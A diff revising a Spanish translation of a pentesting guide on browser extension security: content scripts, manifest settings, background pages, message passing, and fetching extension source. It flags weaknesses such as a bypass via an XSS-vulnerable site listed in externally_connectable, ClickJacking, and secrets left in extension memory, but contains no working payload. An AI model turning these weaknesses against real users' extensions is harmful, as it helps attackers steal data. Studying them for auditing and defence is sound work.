-Además, los scripts de contenido están separados de sus páginas web asociadas al **ejecutarse en un montón de JavaScript separado**. El script de contenido y la página web tienen **acceso al mismo DOM subyacente**, pero los dos **nunca intercambian punteros de JavaScript**, evitando la fuga de funcionalidad de JavaScript. +Además, los scripts de contenido se separan de sus páginas web asociadas al **ejecutarse en un montón de JavaScript separado**. El script de contenido y la página web tienen **acceso al mismo DOM subyacente**, pero los dos **nunca intercambian punteros de JavaScript**, evitando la filtración de funcionalidades de JavaScript. ## **`manifest.json`** -Una extensión de Chrome es simplemente una carpeta ZIP con una extensión de archivo [.crx](https://www.lifewire.com/crx-file-2620391). El núcleo de la extensión es el archivo **`manifest.json`** en la raíz de la carpeta, que especifica la estructura, permisos y otras opciones de configuración. +Una extensión de Chrome es simplemente una carpeta ZIP con una extensión de archivo [.crx](https://www.lifewire.com/crx-file-2620391). El núcleo de la extensión es el archivo **`manifest.json`** en la raíz de la carpeta, que especifica el diseño, los permisos y otras opciones de configuración. Ejemplo: ```json @@ -83,7 +83,7 @@ Ejemplo: ``` ### `content_scripts` -Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objeto de Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) de la página. +Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página coincidente**, en nuestro caso cualquier página que coincida con la expresión **`https://example.com/*`** y no coincida con el regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página. ```json "content_scripts": [ { @@ -100,7 +100,7 @@ Los scripts de contenido se **cargan** cada vez que el usuario **navega a una p ``` Para incluir o excluir más URLs también es posible utilizar **`include_globs`** y **`exclude_globs`**. -Este es un ejemplo de un script de contenido que añadirá un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor de `message` del almacenamiento de la extensión. +Este es un ejemplo de script de contenido que agregará un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor `message` del almacenamiento de la extensión. ```js chrome.storage.local.get("message", result => { @@ -113,44 +113,26 @@ chrome.runtime.sendMessage("explain"); document.body.appendChild(div); }); ``` -```json -{ - "name": "Ejemplo de extensión basada en activeTab", - "version": "1.0", - "description": "Inyecta un script de contenido en la página actual", - "permissions": ["activeTab"], - "background": { - "scripts": ["background.js"], - "persistent": false - }, - "browser_action": { - "default_popup": "popup.html" - }, - "manifest_version": 2 -} -``` -{% endcode %} +
-Cuando se hace clic en este botón, el **script de contenido utiliza** [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) **para enviar un mensaje a las páginas de la extensión**. Esto se debe a que un script de contenido solo tiene acceso directo a un puñado de APIs como `storage`. Todo lo demás debe ser realizado por las páginas de la extensión a las que los scripts de contenido pueden enviar mensajes. +Un mensaje es enviado a las páginas de extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de extensión con las que los scripts de contenido pueden comunicarse. {% hint style="warning" %} -Las **capacidades del script de contenido** varían ligeramente dependiendo del navegador. Para navegadores basados en Chromium puedes encontrar la lista en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), para Firefox [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) es la fuente definitiva.\ -Recuerda que el Script de Contenido también puede **comunicarse con los scripts de fondo** para que realicen acciones y envíen la respuesta. +Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para los navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, la [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como fuente principal.\ +También es importante destacar que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta. {% endhint %} -Para ver y depurar scripts de contenido en Chrome, puedes abrir el menú de herramientas para desarrolladores de Chrome desde Opciones > Más herramientas > Herramientas para desarrolladores O (Presiona - Ctrl + Shift + I). +Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas para desarrolladores de Chrome desde Opciones > Más herramientas > Herramientas para desarrolladores O presionando Ctrl + Shift + I. -Con las herramientas para desarrolladores mostradas, haz clic en la **pestaña Fuente**, luego haz clic en la **pestaña Scripts de Contenido**. Aquí puedes ver los scripts de contenido en ejecución de las diversas extensiones y establecer puntos de interrupción para monitorear el flujo de ejecución. - -
+Una vez que se muestren las herramientas para desarrolladores, se debe hacer clic en la pestaña **Source**, seguida de la pestaña **Content Scripts**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución. ### Scripts de contenido inyectados {% hint style="success" %} -Ten en cuenta que **los Scripts de Contenido no son obligatorios**, ya que también es posible **inyectar** scripts **dinámicamente** y **programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto en realidad proporciona controles más **granulares**. +Tenga en cuenta que los **Scripts de Contenido no son obligatorios** ya que también es posible **inyectar scripts dinámicamente** y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto proporciona en realidad un mayor **control granular**. {% endhint %} -Para inyectar un script de contenido programáticamente, tu extensión necesita [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que está intentando inyectar scripts. Los permisos de host pueden otorgarse **solicitándolos** como parte del manifiesto de tu extensión o temporalmente a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)**.** +Para la inyección programática de un script de contenido, la extensión debe tener [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden ser asegurados ya sea solicitándolos dentro del manifiesto de la extensión o de forma temporal a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). #### Ejemplo de extensión basada en activeTab @@ -171,6 +153,8 @@ Para inyectar un script de contenido programáticamente, tu extensión necesita } } ``` +{% endcode %} + * **Inyectar un archivo JS al hacer clic:** ```javascript // content-script.js @@ -198,30 +182,28 @@ func : injectedFunction, }); }); ``` -#### Ejemplo con permisos de scripting +#### Ejemplo con permisos de script ```javascript // service-workser.js chrome.scripting.registerContentScripts([{ id : "test", -matches : [ "https://*.nytimes.com/*" ], +matches : [ "https://*.example.com/*" ], excludeMatches : [ "*://*/*business*" ], js : [ "contentScript.js" ], }]); -// ANother example +// Another example chrome.tabs.executeScript(tabId, { file: "content_script.js" }); ``` -Para incluir o excluir más URLs también es posible utilizar **`include_globs`** y **`exclude_globs`**. - ### Scripts de Contenido `run_at` -El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y predeterminado es `"document_idle"`. +El campo `run_at` controla **cuándo se inyectan archivos JavaScript en la página web**. El valor preferido y predeterminado es `"document_idle"`. Los valores posibles son: -* **`document_idle`**: Siempre que sea posible -* **`document_start`**: Después de cualquier archivo de `css`, pero antes de que se construya cualquier otro DOM o se ejecute cualquier otro script. -* **`document_end`**: Inmediatamente después de que el DOM esté completo, pero antes de que se carguen subrecursos como imágenes y marcos. +- **`document_idle`**: Siempre que sea posible +- **`document_start`**: Después de cualquier archivo `css`, pero antes de que se construya cualquier otro DOM o se ejecute cualquier otro script. +- **`document_end`**: Inmediatamente después de que el DOM esté completo, pero antes de que se carguen subrecursos como imágenes y marcos. #### A través de `manifest.json` ```json @@ -230,7 +212,7 @@ Los valores posibles son: ... "content_scripts": [ { -"matches": ["https://*.nytimes.com/*"], +"matches": ["https://*.example.com/*"], "run_at": "document_idle", "js": ["contentScript.js"] } @@ -243,17 +225,23 @@ A través de **`service-worker.js`** ```javascript chrome.scripting.registerContentScripts([{ id : "test", -matches : [ "https://*.nytimes.com/*" ], +matches : [ "https://*.example.com/*" ], runAt : "document_idle", js : [ "contentScript.js" ], }]); ``` -### `fondo` +### `antecedentes` -Cuando los scripts de contenido envían un mensaje, su destino es la **página de fondo**. La página de fondo es una página especial que está **siempre presente** a menos que se especifique lo contrario en el manifiesto de la extensión. Es invisible para el usuario, a pesar de ser una página regular con su propio DOM y todo. Su función es típicamente coordinar todas las demás partes de la extensión. +Los mensajes enviados por los scripts de contenido son recibidos por la **página de fondo**, la cual desempeña un papel central en la coordinación de los componentes de la extensión. Es importante destacar que la página de fondo persiste a lo largo de la vida de la extensión, operando discretamente sin interacción directa del usuario. Posee su propio Modelo de Objetos del Documento (DOM), lo que permite interacciones complejas y gestión de estado. + +**Puntos Clave**: + +- **Rol de la Página de Fondo:** Actúa como el centro nervioso de la extensión, garantizando la comunicación y coordinación entre las diversas partes de la extensión. +- **Persistencia:** Es una entidad siempre presente, invisible para el usuario pero fundamental para la funcionalidad de la extensión. +- **Generación Automática:** Si no se define explícitamente, el navegador creará automáticamente una página de fondo. Esta página generada automáticamente incluirá todos los scripts de fondo especificados en el manifiesto de la extensión, asegurando el funcionamiento sin problemas de las tareas de fondo de la extensión. {% hint style="success" %} -Si una página de fondo no se declara explícitamente, el navegador generará una **automáticamente** de manera útil y se asegurará de que todos los **scripts de fondo declarados estén cargados** en ella, como en el ejemplo anterior de manifest.json. +La conveniencia proporcionada por el navegador al generar automáticamente una página de fondo (cuando no se declara explícitamente) garantiza que todos los scripts de fondo necesarios estén integrados y operativos, agilizando el proceso de configuración de la extensión. {% endhint %} Ejemplo de script de fondo: @@ -266,35 +254,34 @@ chrome.tabs.create({ url: "https://example.net/explanation" }); } }) ``` -Utiliza la [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escuchar mensajes. Cuando se recibe un mensaje de `"explain"`, utiliza la [API de tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir una página en una nueva pestaña. +Utiliza la [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escuchar mensajes. Cuando se recibe un mensaje `"explain"`, utiliza la [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir una página en una nueva pestaña. -Para depurar el script de fondo, podrías ir a **los detalles de la extensión e inspeccionar el service worker,** esto abrirá las herramientas de desarrollador con el script de fondo: +Para depurar el script de fondo, puedes ir a los **detalles de la extensión e inspeccionar el service worker**, esto abrirá las herramientas de desarrollo con el script de fondo:
### Páginas de opciones y otras -Las extensiones de navegador pueden contener varios tipos de páginas: +Las extensiones del navegador pueden contener varios tipos de páginas: -* **Páginas de acción** se muestran en un **desplegable cuando se hace clic en el icono de la extensión**. +* Las **páginas de acción** se muestran en un **menú desplegable al hacer clic en el ícono de la extensión**. * Páginas que la extensión **cargará en una nueva pestaña**. -* **Páginas de opciones**: Esta página se muestra encima de la extensión al hacer clic. En el manifiesto anterior, en mi caso, pude acceder a esta página en `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o haciendo clic: +* **Páginas de opciones**: Esta página se muestra encima de la extensión al hacer clic. En el manifiesto anterior, pude acceder a esta página en `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o haciendo clic en:
-A diferencia de la página de fondo, estas páginas no son persistentes, sino que se cargan cuando se necesitan. Sin embargo, todas ellas pueden **recibir mensajes de los scripts de contenido**. Y todas tienen **acceso completo a las APIs específicas de la extensión**, en la medida en que lo permitan los permisos de la extensión. +Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según sea necesario. A pesar de esto, comparten ciertas capacidades con la página de fondo: -En conjunto, los contextos relevantes para las extensiones de navegador se ven así: +- **Comunicación con Scripts de Contenido:** Similar a la página de fondo, estas páginas pueden recibir mensajes de scripts de contenido, facilitando la interacción dentro de la extensión. +- **Acceso a APIs Específicas de la Extensión:** Estas páginas tienen un amplio acceso a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión. -
+### `permissions` y `host_permissions` -### `permissions` & `host_permissions` +**`permissions`** y **`host_permissions`** son entradas del `manifest.json` que indicarán **qué permisos** tiene la extensión del navegador (almacenamiento, ubicación...) y en **qué páginas web**. -**`permissions`** y **`host_permissions`** son entradas del `manifest.json` que indicarán **qué permisos** tiene la extensión de navegador (almacenamiento, ubicación...) y en **qué páginas web**. +Dado que las extensiones del navegador pueden tener tanto **privilegios**, una maliciosa o comprometida podría permitir al atacante **diferentes medios para robar información sensible y espiar al usuario**. -Como las extensiones de navegador pueden ser tan **privilegiadas**, una maliciosa o una que haya sido comprometida podría permitir al atacante **diferentes medios para robar información sensible y espiar al usuario**. - -Revisa cómo funcionan estos ajustes y cómo podrían ser abusados en: +Verifica cómo funcionan estos ajustes y cómo podrían ser abusados en: {% content-ref url="browext-permissions-and-host_permissions.md" %} [browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md) @@ -302,13 +289,13 @@ Revisa cómo funcionan estos ajustes y cómo podrían ser abusados en: ### `content_security_policy` -Una **política de seguridad de contenido** también puede ser declarada dentro del `manifest.json`. Si hay una definida, podría ser **vulnerable**. +Una **política de seguridad de contenido** también puede declararse dentro del `manifest.json`. Si está definida, podría ser **vulnerable**. -La configuración predeterminada para las páginas de extensiones de navegador es bastante restrictiva: +La configuración predeterminada para las páginas de extensiones del navegador es bastante restrictiva: ```bash script-src 'self'; object-src 'self'; ``` -Para obtener más información sobre CSP y posibles bypasses, consulta: +Para obtener más información sobre CSP y posibles bypass, consulta: {% content-ref url="../content-security-policy-csp-bypass/" %} [content-security-policy-csp-bypass](../content-security-policy-csp-bypass/) @@ -316,7 +303,7 @@ Para obtener más información sobre CSP y posibles bypasses, consulta: ### `web_accessible_resources` -para que una página web acceda a una página de una Extensión de Navegador, una página `.html` por ejemplo, esta página debe estar mencionada en el campo **`web_accessible_resources`** del `manifest.json`.\ +para que una página web pueda acceder a una página de una Extensión del Navegador, por ejemplo, una página `.html`, esta página debe ser mencionada en el campo **`web_accessible_resources`** del `manifest.json`.\ Por ejemplo: ```javascript { @@ -338,27 +325,27 @@ Estas páginas son accesibles en URL como: ``` chrome-extension:///message.html ``` -En las extensiones públicas el **extension-id es accesible**: +En las extensiones públicas el **identificador de extensión es accesible**:
Sin embargo, si se utiliza el parámetro `manifest.json` **`use_dynamic_url`**, este **id puede ser dinámico**. -El poder acceder a estas páginas las hace **potencialmente vulnerables a ClickJacking**: +Permitir el acceso a estas páginas hace que estas páginas sean **potencialmente vulnerables a ClickJacking**: {% content-ref url="browext-clickjacking.md" %} [browext-clickjacking.md](browext-clickjacking.md) {% endcontent-ref %} {% hint style="success" %} -Permitir que estas páginas solo se carguen por la extensión y no por URLs aleatorias podría prevenir ataques de ClickJacking. +Permitir que estas páginas se carguen solo por la extensión y no por URLs aleatorias podría prevenir ataques de ClickJacking. {% endhint %} ### `externally_connectable` -Según los [**documentos**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad del manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a tu extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). +Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad del manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a tu extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). -* Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de tu extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede hacerlo**. +* Si la clave **`externally_connectable`** no está declarada en el manifiesto de tu extensión o se declara como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**. * Si se especifican **IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse. * Si se especifican **coincidencias**, esas aplicaciones web podrán conectarse: ```json @@ -366,21 +353,21 @@ Según los [**documentos**](https://developer.chrome.com/docs/extensions/referen "https://*.google.com/*", "*://*.chromium.org/*", ``` -* Si se especifica como vacío: **`"externally_connectable": {}`**, ninguna app o web podrá conectarse. +* Si se especifica como vacío: **`"externally_connectable": {}`**, ninguna aplicación o web podrá conectarse. -Cuantas **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**. +Cuanto **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**. {% hint style="danger" %} -Si una página web **vulnerable a XSS o takeover** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, evitando completamente el Content Script y su CSP. +Si una página web **vulnerable a XSS o toma de control** está indicada en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, evitando por completo el Content Script y su CSP. -Por lo tanto, esto es un **bypass muy poderoso**. +Por lo tanto, este es un **bypass muy poderoso**. {% endhint %} ## Comunicación Web **↔︎** Content Script -Aunque los entornos de ejecución de **los content scripts y las páginas** que los alojan están **aislados** entre sí, **comparten acceso al DOM de la página**. Si la página desea comunicarse con el content script, o con la extensión a través del content script, debe hacerlo a través del **DOM compartido**. +Los entornos donde operan los **content scripts** y donde existen las páginas host están **separados** entre sí, asegurando **aislamiento**. A pesar de este aislamiento, ambos tienen la capacidad de interactuar con el **Modelo de Objetos del Documento (DOM)** de la página, un recurso compartido. Para que la página host se comunique con el **content script**, o indirectamente con la extensión a través del content script, es necesario utilizar el **DOM** al que ambas partes tienen acceso como canal de comunicación. -### Post Messages +### Mensajes de Publicación {% code title="content-script.js" %} ```javascript @@ -407,16 +394,17 @@ window.postMessage( {type : "FROM_PAGE", text : "Hello from the webpage!"}, "*"); }, false); ``` -```markdown -Una comunicación segura de Post Message debe verificar la autenticidad del mensaje recibido, esto se puede hacer comprobando: +{% endcode %} -* **`event.isTrusted`**: Esto es verdadero solo si el evento fue desencadenado por una acción del usuario -* El script de contenido podría estar esperando un mensaje solo si el usuario realiza alguna acción -* **dominio de origen**: Se puede verificar contra una lista de permitidos de dominios. -* Si se usa una expresión regular, tenga mucho cuidado -* **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **de la misma ventana** donde el Script de Contenido está escuchando. +Una comunicación segura de Post Message debe verificar la autenticidad del mensaje recibido, esto se puede hacer verificando: -Las comprobaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que revise en la siguiente página **posibles bypasses de Post Message**: +- **`event.isTrusted`**: Esto es Verdadero solo si el evento fue desencadenado por la acción de un usuario. +- El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción. +- **Dominio de origen**: podría esperar un mensaje solo de una lista blanca de dominios. +- Si se usa una expresión regular, tenga mucho cuidado. +- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **de la misma ventana** donde el Script de Contenido está escuchando. + +Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifique en la siguiente página **posibles bypasses de Post Message**: {% content-ref url="../postmessage-vulnerabilities/" %} [postmessage-vulnerabilities](../postmessage-vulnerabilities/) @@ -424,7 +412,7 @@ Las comprobaciones anteriores, incluso si se realizan, podrían ser vulnerables, ### Iframe -Otra posible forma de comunicación podría ser a través de **URLs de Iframe**, puede encontrar un ejemplo en: +Otra posible forma de comunicación podría ser a través de **URLs de Iframe**, puedes encontrar un ejemplo en: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -432,9 +420,9 @@ Otra posible forma de comunicación podría ser a través de **URLs de Iframe**, ### DOM -Esto no es "exactamente" una forma de comunicación, pero **la web y el script de contenido tendrán acceso al DOM web**. Por lo tanto, si el **script de contenido** está leyendo alguna información de él, **confiando en el DOM web**, la web podría **modificar estos datos** (porque la web no debería ser confiable, o porque la web es vulnerable a XSS) y **comprometer el Script de Contenido**. +Esto no es "exactamente" una forma de comunicación, pero la **web y el script de contenido tendrán acceso al DOM web**. Por lo tanto, si el **script de contenido** está leyendo alguna información de él, **confiando en el DOM web**, la web podría **modificar estos datos** (porque la web no debería ser confiable, o porque la web es vulnerable a XSS) y **comprometer el Script de Contenido**. -También puede encontrar un ejemplo de un **XSS basado en DOM para comprometer una extensión de navegador** en: +También puedes encontrar un ejemplo de un **XSS basado en DOM para comprometer una extensión del navegador** en: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -442,20 +430,19 @@ También puede encontrar un ejemplo de un **XSS basado en DOM para comprometer u ## Información Sensible en Memoria/Código -Si una Extensión de Navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas Windows) y **buscada** para obtener esta información. +Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esto podría ser **volcado** (especialmente en máquinas Windows) y **buscado** para esta información. -Por lo tanto, la memoria de la Extensión de Navegador **no debe considerarse segura** y **no se debe almacenar información sensible**, como credenciales o frases mnemotécnicas. +Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y la **información sensible** como credenciales o frases mnemónicas **no debe ser almacenada**. Por supuesto, **no coloque información sensible en el código**, ya que será **pública**. ## Comunicación Script de Contenido **↔︎** Script de Fondo -Un Script de Contenido puede usar las funciones [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar un mensaje **serializable en JSON de un solo uso**. +Un Script de Contenido puede usar las funciones [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar un mensaje **serializable en JSON** de una sola vez. -Para manejar la **respuesta**, use la **Promise** devuelta. Aunque, por compatibilidad hacia atrás, todavía puede pasar un **callback** como último argumento. +Para manejar la **respuesta**, use la **Promesa** devuelta. Aunque, para compatibilidad con versiones anteriores, aún puede pasar un **callback** como último argumento. Enviar una solicitud desde un **script de contenido** se ve así: -``` ```javascript (async () => { const response = await chrome.runtime.sendMessage({greeting: "hello"}); @@ -463,8 +450,9 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"}); console.log(response); })(); ``` -Enviando una solicitud desde la **extensión** (usualmente un **script de fondo**) a un script de contenido es similar, excepto que necesitas especificar a qué pestaña enviarla. Este ejemplo demuestra cómo enviar un mensaje al script de contenido en la pestaña seleccionada. +Enviar una solicitud desde la **extensión** (generalmente un **script de fondo**). Un Script de Contenido puede utilizar las funciones, excepto que necesitas especificar a qué pestaña enviarlo. Ejemplo de cómo enviar un mensaje al script de contenido en la pestaña seleccionada: ```javascript +// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script (async () => { const [tab] = await chrome.tabs.query({active: true, lastFocusedWindow: true}); const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"}); @@ -472,8 +460,9 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"}); console.log(response); })(); ``` -En el **extremo receptor**, necesitas configurar un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** para manejar el mensaje. Esto se ve igual desde un script de contenido o una página de extensión. +En el **extremo receptor**, necesitas configurar un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **escuchador de eventos** para manejar el mensaje. Esto se ve igual desde un script de contenido o una página de extensión. ```javascript +// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener( function(request, sender, sendResponse) { console.log(sender.tab ? @@ -484,85 +473,101 @@ sendResponse({farewell: "goodbye"}); } ); ``` -En el ejemplo anterior, **`sendResponse()`** fue llamado de manera sincrónica. Si quieres usar `sendResponse()` de manera **asincrónica**, añade `return true;` al manejador de eventos `onMessage`. +En el ejemplo resaltado, **`sendResponse()`** se ejecutó de forma síncrona. Para modificar el controlador de eventos `onMessage` para la ejecución asíncrona de `sendResponse()`, es imperativo incorporar `return true;`. -> Si múltiples páginas están escuchando eventos `onMessage`, **solo la primera en llamar a `sendResponse()`** para un evento particular tendrá éxito al enviar la respuesta. Todas las demás respuestas a ese evento serán ignoradas. +Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única capaz de entregar la respuesta de manera efectiva. Cualquier respuesta posterior al mismo evento no será tomada en cuenta. + +Al crear nuevas extensiones, la preferencia debería ser hacia las promesas en lugar de los callbacks. En cuanto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto síncrono, o si el controlador de eventos indica una operación asíncrona al devolver `true`. En caso de que ninguno de los controladores devuelva `true` o si la función `sendResponse()` es eliminada de la memoria (recolectada por el recolector de basura), el callback asociado con la función `sendMessage()` se activará por defecto. -Para extensiones nuevas deberías preferir promesas sobre callbacks. Si estás usando callbacks, el callback `sendResponse()` solo es válido si se usa de manera sincrónica, o si el manejador de eventos retorna `true` para indicar que responderá de manera asincrónica. El callback de la función `sendMessage()` será invocado automáticamente si ningún manejador retorna true o si el callback `sendResponse()` es recolectado por el garbage collector. ## Cargando una Extensión en el Navegador 1. **Descarga** la Extensión del Navegador y descomprímela -2. Ve a **`chrome://extensions/`** y **activa** el `Modo de Desarrollador` -3. Haz clic en el botón **`Cargar descomprimido`** +2. Ve a **`chrome://extensions/`** y **habilita** el `Modo de Desarrollador` +3. Haz clic en el botón **`Cargar sin empaquetar`** -En **Firefox** ve a **`about:debugging#/runtime/this-firefox`** y haz clic en el botón **`Cargar Complemento Temporal`**. +En **Firefox** ve a **`about:debugging#/runtime/this-firefox`** y haz clic en el botón **`Cargar complemento temporal`**. ## Obteniendo el código fuente desde la tienda -Desde [**aquí**](https://gist.github.com/paulirish/78d6c1406c901be02c2d): +El código fuente de una extensión de Chrome se puede obtener a través de varios métodos. A continuación se detallan explicaciones e instrucciones para cada opción. -### Opción 1: Descarga de la extensión en línea de comandos como zip y extrae +### Descargar Extensión como ZIP a través de la Línea de Comandos -{% code overflow="wrap" %} +El código fuente de una extensión de Chrome se puede descargar como un archivo ZIP usando la línea de comandos. Esto implica usar `curl` para obtener el archivo ZIP desde una URL específica y luego extraer el contenido del archivo ZIP a un directorio. A continuación se detallan los pasos: + +1. Reemplaza `"extension_id"` con el ID real de la extensión. +2. Ejecuta los siguientes comandos: ```bash -extension_id=jifpbeccnghkjeaalbbjmodiffmgedin # change this ID +extension_id=your_extension_id # Replace with the actual extension ID curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" unzip -d "$extension_id-source" "$extension_id.zip" ``` -{% endcode %} - -Gracias a crxviewer por la [URL mágica de descarga](https://github.com/Rob--W/crxviewer/blob/6113c25e3569e1ec59365ad9a177aa97e2bcda61/src/cws\_pattern.js#L27-L74). - -### Opción 2: Usa el sitio web CRX Viewer +### Utilizar el sitio web CRX Viewer [https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/) -### Opción 3: Usa la extensión CRX Viewer +### Utilizar la extensión CRX Viewer -La [Chrome extension source viewer](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) es de código abierto ([repositorio en github](https://github.com/Rob--W/crxviewer)) y facilita mucho este proceso. +Otro método conveniente es utilizar el Chrome Extension Source Viewer, que es un proyecto de código abierto. Se puede instalar desde la [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). El código fuente del visor está disponible en su [repositorio de GitHub](https://github.com/Rob--W/crxviewer). -### Opción 3: Ver el código fuente de una extensión instalada localmente +### Ver el código fuente de una extensión instalada localmente -1. Encuentra tu directorio de perfil local de Chrome. Abre `chrome://version/` y busca el campo "Ruta del perfil:". Abre esa carpeta. -2. Abre la subcarpeta `Extensions/` -3. Aquí están todas tus extensiones, con código fuente típicamente legible. +Las extensiones de Chrome instaladas localmente también se pueden inspeccionar. Así es cómo: -#### Mapeo entre las IDs de extensiones instaladas localmente y sus nombres +1. Accede al directorio de perfil local de Chrome visitando `chrome://version/` y localizando el campo "Ruta del perfil". +2. Navega a la subcarpeta `Extensions/` dentro del directorio del perfil. +3. Esta carpeta contiene todas las extensiones instaladas, típicamente con su código fuente en un formato legible. -* En `about:extensions`, activa el Modo de Desarrollador y verás las IDs bajo cada entrada -* Dentro de las carpetas `Extensions/`, el archivo manifest.json tiene un campo `name` legible +Para identificar las extensiones, puedes mapear sus IDs a nombres: + +- Habilita el Modo Desarrollador en la página `about:extensions` para ver las IDs de cada extensión. +- Dentro de la carpeta de 